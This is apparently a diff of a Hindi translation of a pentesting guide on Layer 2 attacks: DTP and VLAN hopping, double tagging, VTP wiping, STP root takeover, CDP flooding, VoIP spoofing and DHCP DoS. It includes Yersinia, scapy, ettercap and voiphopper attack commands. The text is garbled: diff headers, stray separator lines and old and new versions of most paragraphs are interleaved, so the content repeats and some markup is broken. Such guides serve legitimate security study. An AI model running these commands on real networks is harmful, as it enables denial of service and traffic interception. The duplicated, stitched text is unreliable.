डिफ़ॉल्ट रूप से, स्विच पोर्ट्स Dynamic Auto mode में काम करने के लिए सेट होते हैं, जिसका अर्थ है कि वे पड़ोसी स्विच द्वारा संकेत मिलने पर trunking आरंभ करने के लिए तैयार रहते हैं। जब कोई pentester या attacker स्विच से जुड़कर एक DTP Desirable frame भेजता है, तो सुरक्षा चिंता उत्पन्न होती है क्योंकि यह पोर्ट को trunk mode में डालने के लिए मजबूर कर सकता है। इस क्रिया से attacker STP frame विश्लेषण के माध्यम से VLANs को सूचीबद्ध कर सकता है और virtual interfaces सेटअप करके VLAN segmentation को दरकिनार कर सकता है।
|
||||
|
||||
यदि नेटवर्क की कमजोरी की पहचान की जाती है, तो _**Yersinia**_ उपकरण का उपयोग DTP प्रोटोकॉल के माध्यम से "ट्रंकिंग सक्षम करने" के लिए किया जा सकता है, जिससे सभी VLANs से पैकेटों का अवलोकन किया जा सके।
|
||||
कई स्विचों में डिफ़ॉल्ट रूप से मौजूद DTP का प्रयोग adversaries द्वारा स्विच के व्यवहार की नकल करने के लिए किया जा सकता है, जिससे वे सभी VLANs का traffic एक्सेस कर सकें। स्क्रिप्ट [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) का उपयोग किसी interface की निगरानी के लिए किया जाता है, यह बताने के लिए कि स्विच Default, Trunk, Dynamic, Auto, या Access mode में है — जिसमें Access mode ही ऐसा configuration है जो VLAN hopping attacks के प्रति प्रतिरक्षित है। यह टूल स्विच की vulnerability स्थिति का आकलन करता है।
|
||||
|
||||
यदि नेटवर्क में vulnerability की पहचान होती है, तो _**Yersinia**_ टूल का उपयोग DTP प्रोटोकॉल के माध्यम से "enable trunking" करने के लिए किया जा सकता है, जिससे सभी VLANs के पैकेट्स का अवलोकन संभव हो जाता है।
|
||||
```bash
|
||||
apt-get install yersinia #Installation
|
||||
sudo apt install kali-linux-large #Another way to install it in Kali
|
||||
@ -275,20 +282,20 @@ yersinia -G #For graphic mode
|
||||
```
|
||||
.png>)
|
||||
|
||||
VLANs की गणना करने के लिए, DTP Desirable फ्रेम को स्क्रिप्ट [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** के साथ उत्पन्न करना भी संभव है। **कृपया किसी भी परिस्थिति में स्क्रिप्ट को बाधित न करें। यह हर तीन सेकंड में DTP Desirable इंजेक्ट करता है। **स्विच पर गतिशील रूप से बनाए गए ट्रंक चैनल केवल पांच मिनट तक जीवित रहते हैं। पांच मिनट के बाद, ट्रंक गिर जाता है।**
|
||||
VLANs को enumerate करने के लिए यह भी संभव है कि DTP Desirable frame को script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** के साथ बनाया जाए। D**o स्क्रिप्ट को किसी भी परिस्थिति में बाधित न करें। यह हर तीन सेकंड में DTP Desirable इंजेक्ट करता है। **स्विच पर dynamically created trunk channels केवल पांच मिनट तक ही रहते हैं। पांच मिनट के बाद, trunk हट जाता है।**
|
||||
```
|
||||
sudo python3 DTPHijacking.py --interface eth0
|
||||
```
|
||||
मैं यह बताना चाहूंगा कि **Access/Desirable (0x03)** यह संकेत करता है कि DTP फ्रेम Desirable प्रकार का है, जो पोर्ट को Trunk मोड में स्विच करने के लिए कहता है। और **802.1Q/802.1Q (0xa5)** **802.1Q** एनकैप्सुलेशन प्रकार को इंगित करता है।
|
||||
मैं यह बताना चाहूंगा कि **Access/Desirable (0x03)** यह संकेत करता है कि DTP frame Desirable type का है, जो port को Trunk mode पर switch करने के लिए कहता है। और **802.1Q/802.1Q (0xa5** दर्शाता है कि **802.1Q** encapsulation type है।
|
||||
|
||||
STP फ्रेम का विश्लेषण करके, **हम VLAN 30 और VLAN 60 के अस्तित्व के बारे में सीखते हैं।**
|
||||
STP frames का विश्लेषण करने पर, **हम VLAN 30 और VLAN 60 के अस्तित्व के बारे में जानते हैं।**
|
||||
|
||||
<figure><img src="../../images/image (124).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### विशिष्ट VLAN पर हमला करना
|
||||
#### Attacking specific VLANs
|
||||
|
||||
एक बार जब आप VLAN IDs और IPs मानों को जान लेते हैं, तो आप **एक विशिष्ट VLAN पर हमला करने के लिए एक वर्चुअल इंटरफेस को कॉन्फ़िगर कर सकते हैं।**\
|
||||
यदि DHCP उपलब्ध नहीं है, तो स्थिर IP पते सेट करने के लिए _ifconfig_ का उपयोग करें।
|
||||
एक बार जब आप VLAN IDs और IPs मान जान लेते हैं, तो आप **एक वर्चुअल इंटरफ़ेस कॉन्फ़िगर करके किसी विशिष्ट VLAN पर attack कर सकते हैं**।\
|
||||
यदि DHCP उपलब्ध नहीं है, तो स्थिर IP पता सेट करने के लिए _ifconfig_ का उपयोग करें।
|
||||
```
|
||||
root@kali:~# modprobe 8021q
|
||||
root@kali:~# vconfig add eth1 250
|
||||
@ -323,17 +330,17 @@ sudo dhclient -v eth0.30
|
||||
```
|
||||
#### Automatic VLAN Hopper
|
||||
|
||||
चर्चा की गई हमले **Dynamic Trunking और वर्चुअल इंटरफेस बनाने और अन्य VLANs के अंदर होस्ट खोजने** को **स्वचालित रूप से किया जाता है** उपकरण द्वारा: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
|
||||
चर्चित हमला **Dynamic Trunking and creating virtual interfaces an discovering hosts inside** अन्य VLANs में **स्वचालित रूप से** टूल द्वारा निष्पादित किया जाता है: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
|
||||
|
||||
#### Double Tagging
|
||||
|
||||
यदि एक हमलावर को **शिकार होस्ट का MAC, IP और VLAN ID** का मान पता है, तो वह **फ्रेम को डबल टैग** करने की कोशिश कर सकता है इसके निर्दिष्ट VLAN और शिकार के VLAN के साथ और एक पैकेट भेज सकता है। चूंकि **शिकार हमलावर के साथ वापस कनेक्ट नहीं हो पाएगा**, इसलिए **हमलावर के लिए सबसे अच्छा विकल्प UDP के माध्यम से संचार करना** है उन प्रोटोकॉल के लिए जो कुछ दिलचस्प क्रियाएँ कर सकते हैं (जैसे SNMP)।
|
||||
यदि कोई हमलावर **MAC, IP and VLAN ID of the victim host** का मान जानता है, तो वह अपने निर्दिष्ट VLAN और पीड़ित के VLAN के साथ एक **double tag a frame** करके एक packet भेजने की कोशिश कर सकता है। चूँकि **victim won't be able to connect back** हमलावर से वापस कनेक्ट नहीं कर पाएगा, इसलिए हमलावर के लिए सबसे अच्छा विकल्प यह है कि वह **communicate via UDP** ऐसे प्रोटोकॉल के साथ करे जो कुछ रोचक क्रियाएँ कर सकते हैं (जैसे SNMP)।
|
||||
|
||||
हमलावर के लिए एक और विकल्प है **TCP पोर्ट स्कैन लॉन्च करना, एक IP को स्पूफ करना जो हमलावर द्वारा नियंत्रित है और शिकार द्वारा सुलभ है** (संभवतः इंटरनेट के माध्यम से)। फिर, हमलावर अपने दूसरे होस्ट में स्निफ कर सकता है यदि उसे शिकार से कुछ पैकेट मिलते हैं।
|
||||
हमलावर का एक और विकल्प है कि वह **TCP port scan spoofing an IP controlled by the attacker and accessible by the victim** (संभवतः इंटरनेट के माध्यम से) लॉन्च करे। फिर, अगर पीड़ित की ओर से कुछ packets मिलते हैं तो हमलावर अपने दूसरे होस्ट पर उन packets को sniff कर सकता है।
|
||||
|
||||
.png>)
|
||||
|
||||
इस हमले को करने के लिए आप scapy का उपयोग कर सकते हैं: `pip install scapy`
|
||||
To perform this attack you could use scapy: `pip install scapy`
|
||||
```python
|
||||
from scapy.all import *
|
||||
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
|
||||
@ -342,7 +349,7 @@ sendp(packet)
|
||||
```
|
||||
#### Lateral VLAN Segmentation Bypass <a href="#d679" id="d679"></a>
|
||||
|
||||
यदि आपके पास **एक स्विच तक पहुंच है जिससे आप सीधे जुड़े हुए हैं**, तो आपके पास **नेटवर्क के भीतर VLAN विभाजन को बायपास करने** की क्षमता है। बस **पोर्ट को ट्रंक मोड में स्विच करें** (जिसे ट्रंक के रूप में भी जाना जाता है), लक्षित VLANs के IDs के साथ वर्चुअल इंटरफेस बनाएं, और एक IP पता कॉन्फ़िगर करें। आप पता को गतिशील रूप से (DHCP) मांगने की कोशिश कर सकते हैं या आप इसे स्थिर रूप से कॉन्फ़िगर कर सकते हैं। यह मामले पर निर्भर करता है।
|
||||
यदि आपके पास **access to a switch that you are directly connected to** है, तो आप नेटवर्क के भीतर **bypass VLAN segmentation** करने में सक्षम हैं। बस **switch the port to trunk mode** (जिसे सामान्यतः trunk कहा जाता है), लक्षित **VLANs** की IDs वाले **virtual interfaces** बनाएं, और एक **IP address** configure करें। आप पते को dynamically (DHCP) request करने की कोशिश कर सकते हैं या उसे statically configure कर सकते हैं। मामला पर निर्भर करता है।
|
||||
|
||||
{{#ref}}
|
||||
lateral-vlan-segmentation-bypass.md
|
||||
@ -350,46 +357,46 @@ lateral-vlan-segmentation-bypass.md
|
||||
|
||||
#### Layer 3 Private VLAN Bypass
|
||||
|
||||
कुछ वातावरणों में, जैसे कि अतिथि वायरलेस नेटवर्क, **पोर्ट आइसोलेशन (जिसे प्राइवेट VLAN के रूप में भी जाना जाता है)** सेटिंग्स लागू की जाती हैं ताकि वायरलेस एक्सेस पॉइंट से जुड़े क्लाइंट एक-दूसरे के साथ सीधे संवाद न कर सकें। हालाँकि, एक तकनीक पहचानी गई है जो इन आइसोलेशन उपायों को बायपास कर सकती है। यह तकनीक या तो नेटवर्क ACLs की कमी का लाभ उठाती है या उनकी गलत कॉन्फ़िगरेशन का, जिससे IP पैकेट को एक राउटर के माध्यम से रूट किया जा सकता है ताकि वह उसी नेटवर्क पर दूसरे क्लाइंट तक पहुँच सके।
|
||||
कुछ environments में, जैसे guest wireless networks, **port isolation (also known as private VLAN)** सेटिंग्स लागू की जाती हैं ताकि एक wireless access point से connected clients आपस में सीधे communicate न कर सकें। हालांकि, एक technique पहचानी गई है जो इन isolation उपायों को circumvent कर सकती है। यह technique या तो network ACLs की कमी या उनकी गलत configuration का फायदा उठाती है, जिससे **IP packets** को router के माध्यम से route करके उसी नेटवर्क पर दूसरे client तक पहुँचाया जा सकता है।
|
||||
|
||||
हमला एक **पैकेट बनाकर निष्पादित किया जाता है जो लक्ष्य क्लाइंट का IP पता ले जाता है लेकिन राउटर का MAC पता होता है**। इससे राउटर गलती से पैकेट को लक्षित क्लाइंट की ओर अग्रेषित कर देता है। यह दृष्टिकोण डबल टैगिंग हमलों में उपयोग की जाने वाली विधि के समान है, जहाँ पीड़ित के लिए सुलभ एक होस्ट को नियंत्रित करने की क्षमता का उपयोग सुरक्षा दोष का लाभ उठाने के लिए किया जाता है।
|
||||
यह attack उस समय किया जाता है जब एक विशेष **packet that carries the IP address of the destination client but with the router's MAC address** बनाया जाता है। इससे router गलती से उस packet को target client को forward कर देता है। यह approach Double Tagging Attacks में उपयोग किए जाने वाले तरीके के समान है, जहाँ victim तक पहुँचने योग्य host को control करने की ability का उपयोग सुरक्षा दोष को exploit करने के लिए किया जाता है।
|
||||
|
||||
**हमले के मुख्य चरण:**
|
||||
**Attack के मुख्य चरण:**
|
||||
|
||||
1. **पैकेट बनाना:** एक पैकेट विशेष रूप से तैयार किया जाता है जिसमें लक्षित क्लाइंट का IP पता होता है लेकिन राउटर का MAC पता होता है।
|
||||
2. **राउटर के व्यवहार का लाभ उठाना:** तैयार पैकेट को राउटर पर भेजा जाता है, जो कॉन्फ़िगरेशन के कारण पैकेट को लक्षित क्लाइंट की ओर अग्रेषित करता है, प्राइवेट VLAN सेटिंग्स द्वारा प्रदान किए गए आइसोलेशन को बायपास करता है।
|
||||
1. **Crafting a Packet:** एक विशेष रूप से तैयार किया गया packet target client का IP address शामिल करता है पर router के MAC address के साथ।
|
||||
2. **Exploiting Router Behavior:** तैयार किया गया packet router को भेजा जाता है, जो configuration के कारण उसे target client को redirect कर देता है, और private VLAN settings द्वारा प्रदान किए गए isolation को bypass कर देता है।
|
||||
|
||||
### VTP Attacks
|
||||
|
||||
VTP (VLAN Trunking Protocol) VLAN प्रबंधन को केंद्रीकृत करता है। यह VLAN डेटाबेस की अखंडता बनाए रखने के लिए संशोधन नंबरों का उपयोग करता है; किसी भी संशोधन से यह संख्या बढ़ जाती है। स्विच उच्च संशोधन नंबरों के साथ कॉन्फ़िगरेशन अपनाते हैं, अपने स्वयं के VLAN डेटाबेस को अपडेट करते हैं।
|
||||
VTP (VLAN Trunking Protocol) VLAN management को केंद्रीयकृत करता है। यह VLAN database की integrity बनाए रखने के लिए revision numbers का उपयोग करता है; किसी भी modification से यह संख्या बढ़ जाती है। Switches उन configurations को अपनाते हैं जिनके revision numbers अधिक होते हैं, और अपने VLAN databases को अपडेट कर लेते हैं।
|
||||
|
||||
#### VTP Domain Roles
|
||||
|
||||
- **VTP Server:** VLANs का प्रबंधन करता है—बनाता है, हटाता है, संशोधित करता है। यह डोमेन सदस्यों को VTP घोषणाएँ प्रसारित करता है।
|
||||
- **VTP Client:** अपने VLAN डेटाबेस को समन्वयित करने के लिए VTP घोषणाएँ प्राप्त करता है। इस भूमिका को स्थानीय VLAN कॉन्फ़िगरेशन संशोधनों से प्रतिबंधित किया गया है।
|
||||
- **VTP Transparent:** VTP अपडेट में भाग नहीं लेता लेकिन VTP घोषणाओं को अग्रेषित करता है। VTP हमलों से अप्रभावित, यह शून्य का एक स्थायी संशोधन नंबर बनाए रखता है।
|
||||
- **VTP Server:** VLANs का प्रबंधन करता है—बनाता है, हटाता है, संशोधित करता है। यह domain के सदस्यों को VTP announcements broadcast करता है।
|
||||
- **VTP Client:** VTP announcements प्राप्त करता है ताकि यह अपने VLAN database को synchronize कर सके। इस role को local VLAN configuration modifications से रोका गया है।
|
||||
- **VTP Transparent:** VTP updates में शामिल नहीं होता पर VTP announcements को forward करता है। VTP attacks से अप्रभावित रहता है और इसका revision number हमेशा शून्य रहता है।
|
||||
|
||||
#### VTP Advertisement Types
|
||||
|
||||
- **Summary Advertisement:** VTP सर्वर द्वारा हर 300 सेकंड में प्रसारित किया जाता है, जो आवश्यक डोमेन जानकारी ले जाता है।
|
||||
- **Subset Advertisement:** VLAN कॉन्फ़िगरेशन परिवर्तनों के बाद भेजा जाता है।
|
||||
- **Advertisement Request:** एक VTP क्लाइंट द्वारा Summary Advertisement मांगने के लिए जारी किया जाता है, आमतौर पर उच्च कॉन्फ़िगरेशन संशोधन संख्या का पता लगाने के जवाब में।
|
||||
- **Summary Advertisement:** VTP server द्वारा हर 300 seconds में broadcast की जाती है, और इसमें essential domain information होती है।
|
||||
- **Subset Advertisement:** VLAN configuration changes के बाद भेजी जाती है।
|
||||
- **Advertisement Request:** एक VTP client द्वारा Summary Advertisement माँगने के लिए जारी की जाती है, आमतौर पर तब जब वह higher configuration revision number detecting करता है।
|
||||
|
||||
VTP कमजोरियाँ केवल ट्रंक पोर्ट के माध्यम से ही शोषण योग्य हैं क्योंकि VTP घोषणाएँ केवल उनके माध्यम से प्रसारित होती हैं। DTP हमले के बाद के परिदृश्यों में VTP की ओर मुड़ने की संभावना हो सकती है। Yersinia जैसे उपकरण VTP हमलों को सुविधाजनक बना सकते हैं, VLAN डेटाबेस को मिटाने के लक्ष्य के साथ, प्रभावी रूप से नेटवर्क को बाधित करते हैं।
|
||||
VTP vulnerabilities केवल trunk ports के माध्यम से exploit की जा सकती हैं क्योंकि VTP announcements केवल इन्हीं के माध्यम से circulate होते हैं। Post-DTP attack परिदृश्य VTP की ओर मुड़क सकते हैं। Yersinia जैसे tools VTP attacks को सुगम बना सकते हैं, जिनका उद्देश्य VLAN database को wipe करना और नेटवर्क को प्रभावी रूप से बाधित करना है।
|
||||
|
||||
नोट: यह चर्चा VTP संस्करण 1 (VTPv1) से संबंधित है।
|
||||
````bash
|
||||
%% yersinia -G # Launch Yersinia in graphical mode ```
|
||||
````
|
||||
Yersinia के ग्राफिकल मोड में, VLAN डेटाबेस को साफ़ करने के लिए सभी VTP VLANs को हटाने का विकल्प चुनें।
|
||||
नोट: यह चर्चा VTP version 1 (VTPv1) से संबंधित है।
|
||||
```bash
|
||||
yersinia -G # Launch Yersinia in graphical mode
|
||||
```
|
||||
In Yersinia के ग्राफिकल मोड में, VLAN database को purge करने के लिए deleting all VTP vlans विकल्प चुनें।
|
||||
|
||||
### STP हमले
|
||||
### STP Attacks
|
||||
|
||||
**यदि आप अपने इंटरफेस पर BPDU फ्रेम कैप्चर नहीं कर सकते हैं, तो यह संभावना कम है कि आप STP हमले में सफल होंगे।**
|
||||
**यदि आप अपने interfaces पर BPDU frames को capture नहीं कर सकते हैं, तो STP attack में सफल होने की संभावना कम है।**
|
||||
|
||||
#### **STP BPDU DoS**
|
||||
|
||||
कई BPDUs TCP (Topology Change Notification) या Conf (वे BPDUs जो तब भेजे जाते हैं जब टोपोलॉजी बनाई जाती है) भेजने से स्विच ओवरलोड हो जाते हैं और सही तरीके से काम करना बंद कर देते हैं।
|
||||
बहुत सारे BPDUs TCP (Topology Change Notification) या Conf (वे BPDUs जो topology बनते समय भेजे जाते हैं) भेजने पर switches ओवरलोड हो जाते हैं और सही तरीके से काम करना बंद कर देते हैं।
|
||||
```bash
|
||||
yersinia stp -attack 2
|
||||
yersinia stp -attack 3
|
||||
@ -397,79 +404,79 @@ yersinia stp -attack 3
|
||||
```
|
||||
#### **STP TCP Attack**
|
||||
|
||||
जब एक TCP भेजा जाता है, तो स्विच का CAM तालिका 15 सेकंड में हटा दिया जाएगा। फिर, यदि आप लगातार इस प्रकार के पैकेट भेज रहे हैं, तो CAM तालिका लगातार (या हर 15 सेकंड में) पुनः प्रारंभ की जाएगी और जब यह पुनः प्रारंभ होती है, तो स्विच एक हब की तरह व्यवहार करता है।
|
||||
जब एक TCP भेजा जाता है, तो switches की CAM table को 15s में हटा दिया जाएगा। फिर, यदि आप लगातार इस प्रकार के packets भेजते रहते हैं, तो CAM table लगातार (या हर 15segs) पुनः आरम्भ होती रहेगी और जब यह पुनः आरम्भ होती है, तो switch एक hub की तरह व्यवहार करेगा।
|
||||
```bash
|
||||
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
|
||||
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
|
||||
```
|
||||
#### **STP Root Attack**
|
||||
|
||||
हमलावर स्विच के व्यवहार का अनुकरण करता है ताकि वह नेटवर्क का STP रूट बन सके। फिर, अधिक डेटा उसके माध्यम से गुजरेगा। यह तब दिलचस्प होता है जब आप दो अलग-अलग स्विचों से जुड़े होते हैं।\
|
||||
यह BPDUs CONF पैकेट भेजकर किया जाता है जिसमें कहा जाता है कि **priority** मान वास्तविक रूट स्विच की वास्तविक प्राथमिकता से कम है।
|
||||
हमलावर नेटवर्क का STP root बनने के लिए एक switch के व्यवहार का अनुकरण करता है। इसके बाद, अधिक डेटा इसके माध्यम से गुज़रेगा। यह तब दिलचस्प होता है जब आप दो अलग-अलग switches से जुड़े होते हैं.\
|
||||
यह BPDUs CONF packets भेजकर किया जाता है, जो बताते हैं कि **priority** value वास्तविक root switch की वास्तविक priority से कम है।
|
||||
```bash
|
||||
yersinia stp -attack 4 #Behaves like the root switch
|
||||
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
|
||||
```
|
||||
**यदि हमलावर 2 स्विचों से जुड़ा है, तो वह नए पेड़ का मूल बन सकता है और उन स्विचों के बीच सभी ट्रैफ़िक उसके माध्यम से गुजरेगा** (एक MITM हमला किया जाएगा)।
|
||||
**अगर हमलावर 2 switches से जुड़ा हुआ है तो वह नए tree का root बन सकता है और उन switches के बीच का सारा traffic उसके माध्यम से गुजरेगा** (एक MITM attack किया जाएगा).
|
||||
```bash
|
||||
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
|
||||
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
|
||||
```
|
||||
### CDP हमले
|
||||
|
||||
CISCO Discovery Protocol (CDP) CISCO उपकरणों के बीच संचार के लिए आवश्यक है, जिससे वे **एक-दूसरे की पहचान कर सकें और कॉन्फ़िगरेशन विवरण साझा कर सकें**।
|
||||
CISCO Discovery Protocol (CDP) CISCO डिवाइसों के बीच संचार के लिए आवश्यक है, जो उन्हें **एक-दूसरे की पहचान करने और कॉन्फ़िगरेशन विवरण साझा करने** की अनुमति देता है।
|
||||
|
||||
#### पैसिव डेटा संग्रह <a href="#id-0e0f" id="id-0e0f"></a>
|
||||
|
||||
CDP को सभी पोर्टों के माध्यम से जानकारी प्रसारित करने के लिए कॉन्फ़िगर किया गया है, जो सुरक्षा जोखिम का कारण बन सकता है। एक हमलावर, जब एक स्विच पोर्ट से जुड़ता है, तो वह **Wireshark**, **tcpdump**, या **Yersinia** जैसे नेटवर्क स्निफ़र्स को तैनात कर सकता है। यह क्रिया नेटवर्क उपकरण के बारे में संवेदनशील डेटा प्रकट कर सकती है, जिसमें इसका मॉडल और वह Cisco IOS संस्करण शामिल है जो यह चलाता है। हमलावर फिर पहचाने गए Cisco IOS संस्करण में विशिष्ट कमजोरियों को लक्षित कर सकता है।
|
||||
CDP को सभी पोर्टों के माध्यम से जानकारी ब्रॉडकास्ट करने के लिए कॉन्फ़िगर किया जाता है, जो सुरक्षा जोखिम पैदा कर सकता है। एक हमला करने वाला, स्विच पोर्ट से जुड़ने पर, network sniffers जैसे **Wireshark**, **tcpdump**, या **Yersinia** तैनात कर सकता है। यह क्रिया नेटवर्क डिवाइस के बारे में संवेदनशील जानकारी प्रकट कर सकती है, जैसे उसका मॉडल और जिस Cisco IOS संस्करण पर यह चलता है। आक्रांत फिर पहचान किए गए Cisco IOS संस्करण में विशिष्ट कमजोरियों को लक्षित कर सकता है।
|
||||
|
||||
#### CDP टेबल बाढ़ को प्रेरित करना <a href="#id-0d6a" id="id-0d6a"></a>
|
||||
#### CDP टेबल फ्लडिंग उत्पन्न करना <a href="#id-0d6a" id="id-0d6a"></a>
|
||||
|
||||
एक अधिक आक्रामक दृष्टिकोण में स्विच की मेमोरी को अधिभारित करके Denial of Service (DoS) हमला शुरू करना शामिल है, जो वैध CISCO उपकरणों की तरह व्यवहार करता है। नीचे Yersinia का उपयोग करके इस तरह के हमले को शुरू करने के लिए आदेश अनुक्रम दिया गया है:
|
||||
एक अधिक आक्रामक तरीका स्विच की मेमोरी को ओवरवेल्म कर के, वैध CISCO डिवाइस होने का नाटक करते हुए, Denial of Service (DoS) हमला शुरू करने में शामिल है। नीचे Yersinia, एक परीक्षण के लिए डिज़ाइन किया गया network tool, का उपयोग करके ऐसे हमले को शुरू करने के लिए कमांड अनुक्रम दिया गया है:
|
||||
```bash
|
||||
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
|
||||
# Alternatively, for a GUI approach:
|
||||
sudo yersinia -G
|
||||
```
|
||||
इस हमले के दौरान, स्विच का CPU और CDP पड़ोसी तालिका भारी बोझिल हो जाती है, जो अक्सर **“नेटवर्क लकवाग्रस्त”** के रूप में संदर्भित किया जाता है, अत्यधिक संसाधन खपत के कारण।
|
||||
इस हमले के दौरान, switch की CPU और CDP neighbor table पर भारी दबाव पड़ता है, जिससे अत्यधिक संसाधन उपयोग के कारण अक्सर **“network paralysis”** की स्थिति हो जाती है।
|
||||
|
||||
#### CDP Impersonation Attack
|
||||
```bash
|
||||
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
|
||||
sudo yersinia cdp -attack 0 #Send a CDP packet
|
||||
```
|
||||
आप [**scapy**](https://github.com/secdev/scapy/) का भी उपयोग कर सकते हैं। सुनिश्चित करें कि इसे `scapy/contrib` पैकेज के साथ स्थापित किया गया है।
|
||||
आप [**scapy**](https://github.com/secdev/scapy/) का भी उपयोग कर सकते हैं। सुनिश्चित करें कि आपने इसे `scapy/contrib` पैकेज के साथ इंस्टॉल किया है।
|
||||
|
||||
### VoIP हमले और VoIP Hopper उपकरण
|
||||
### VoIP हमले और VoIP Hopper टूल
|
||||
|
||||
VoIP फोन, जो IoT उपकरणों के साथ बढ़ते हुए एकीकृत हैं, विशेष फोन नंबरों के माध्यम से दरवाजे खोलने या थर्मोस्टैट्स को नियंत्रित करने जैसी कार्यक्षमताएँ प्रदान करते हैं। हालाँकि, यह एकीकरण सुरक्षा जोखिम पैदा कर सकता है।
|
||||
VoIP फोन, जो बढ़ते हुए IoT उपकरणों के साथ एकीकृत होते जा रहे हैं, विशेष फोन नंबरों के माध्यम से दरवाज़े अनलॉक करने या थर्मोस्टैट को नियंत्रित करने जैसी कार्यक्षमताएँ प्रदान करते हैं। हालांकि, यह एकीकरण सुरक्षा जोखिम पैदा कर सकता है।
|
||||
|
||||
उपकरण [**voiphopper**](http://voiphopper.sourceforge.net) विभिन्न वातावरणों (Cisco, Avaya, Nortel, Alcatel-Lucent) में VoIP फोन का अनुकरण करने के लिए डिज़ाइन किया गया है। यह CDP, DHCP, LLDP-MED, और 802.1Q ARP जैसे प्रोटोकॉल का उपयोग करके वॉयस नेटवर्क का VLAN ID खोजता है।
|
||||
टूल [**voiphopper**](http://voiphopper.sourceforge.net) विभिन्न वातावरणों में एक VoIP फोन का अनुकरण (emulate) करने के लिए डिज़ाइन किया गया है (Cisco, Avaya, Nortel, Alcatel-Lucent)। यह CDP, DHCP, LLDP-MED, और 802.1Q ARP जैसे प्रोटोकॉल का उपयोग करके वॉयस नेटवर्क का VLAN ID खोजता है।
|
||||
|
||||
**VoIP Hopper** Cisco Discovery Protocol (CDP) के लिए तीन मोड प्रदान करता है:
|
||||
|
||||
1. **Sniff Mode** (`-c 0`): VLAN ID की पहचान के लिए नेटवर्क पैकेट का विश्लेषण करता है।
|
||||
2. **Spoof Mode** (`-c 1`): वास्तविक VoIP डिवाइस के पैकेट की नकल करते हुए कस्टम पैकेट उत्पन्न करता है।
|
||||
3. **Spoof with Pre-made Packet Mode** (`-c 2`): एक विशिष्ट Cisco IP फोन मॉडल के पैकेट के समान पैकेट भेजता है।
|
||||
1. **Sniff Mode** (`-c 0`): VLAN ID पहचानने के लिए नेटवर्क पैकेट्स का विश्लेषण करता है।
|
||||
2. **Spoof Mode** (`-c 1`): वास्तविक VoIP डिवाइस के पैकेट्स की नकल करते हुए कस्टम पैकेट्स जनरेट करता है।
|
||||
3. **Spoof with Pre-made Packet Mode** (`-c 2`): किसी विशिष्ट Cisco IP phone मॉडल के बिल्कुल समान पैकेट्स भेजता है।
|
||||
|
||||
गति के लिए पसंदीदा मोड तीसरा है। इसके लिए निम्नलिखित निर्दिष्ट करना आवश्यक है:
|
||||
तेजी के लिए पसंदीदा मोड तीसरा है। इसके लिए निम्न निर्दिष्ट करना आवश्यक है:
|
||||
|
||||
- हमलावर का नेटवर्क इंटरफेस (`-i` पैरामीटर)।
|
||||
- अनुकरण किए जा रहे VoIP डिवाइस का नाम (`-E` पैरामीटर), जो Cisco नामकरण प्रारूप का पालन करता है (जैसे, SEP के बाद एक MAC पता)।
|
||||
- हमलावर का नेटवर्क इंटरफ़ेस (`-i` parameter)।
|
||||
- उस VoIP डिवाइस का नाम जिसका अनुकरण किया जा रहा है (`-E` parameter), Cisco नामकरण फ़ॉर्मैट का पालन करते हुए (उदाहरण के लिए, SEP के बाद MAC address)।
|
||||
|
||||
कॉर्पोरेट सेटिंग्स में, एक मौजूदा VoIP डिवाइस की नकल करने के लिए, कोई निम्नलिखित कर सकता है:
|
||||
कॉर्पोरेट सेटिंग्स में, किसी मौजूदा VoIP डिवाइस की नकल करने के लिए आप:
|
||||
|
||||
- फोन पर MAC लेबल की जांच करें।
|
||||
- मॉडल जानकारी देखने के लिए फोन की डिस्प्ले सेटिंग्स में जाएँ।
|
||||
- VoIP डिवाइस को लैपटॉप से कनेक्ट करें और Wireshark का उपयोग करके CDP अनुरोधों का अवलोकन करें।
|
||||
- फ़ोन पर लगे MAC लेबल की जाँच कर सकते हैं।
|
||||
- मॉडल जानकारी देखने के लिए फ़ोन की डिस्प्ले सेटिंग्स में जा सकते हैं।
|
||||
- VoIP डिवाइस को लैपटॉप से कनेक्ट करके Wireshark का उपयोग कर CDP requests का अवलोकन कर सकते हैं।
|
||||
|
||||
उपकरण को तीसरे मोड में निष्पादित करने के लिए एक उदाहरण कमांड होगा:
|
||||
An example command to execute the tool in the third mode would be:
|
||||
```bash
|
||||
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
|
||||
```
|
||||
### DHCP हमले
|
||||
### DHCP Attacks
|
||||
|
||||
#### गणना
|
||||
#### Enumeration
|
||||
```bash
|
||||
nmap --script broadcast-dhcp-discover
|
||||
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
|
||||
@ -489,57 +496,67 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
|
||||
```
|
||||
**DoS**
|
||||
|
||||
**DoS के दो प्रकार** DHCP सर्वरों के खिलाफ किए जा सकते हैं। पहला प्रकार **इतने फर्जी होस्टों का अनुकरण करना है कि सभी संभावित IP पते उपयोग में आ जाएं**।\
|
||||
यह हमला केवल तभी काम करेगा जब आप DHCP सर्वर के उत्तर देख सकें और प्रोटोकॉल को पूरा कर सकें (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server))। उदाहरण के लिए, यह **Wifi नेटवर्क में संभव नहीं है**।
|
||||
**दो प्रकार के DoS** DHCP servers के खिलाफ किए जा सकते हैं। पहला तरीका है **पर्याप्त नकली hosts बनाकर सभी संभव IP addresses का उपयोग करना**.\
|
||||
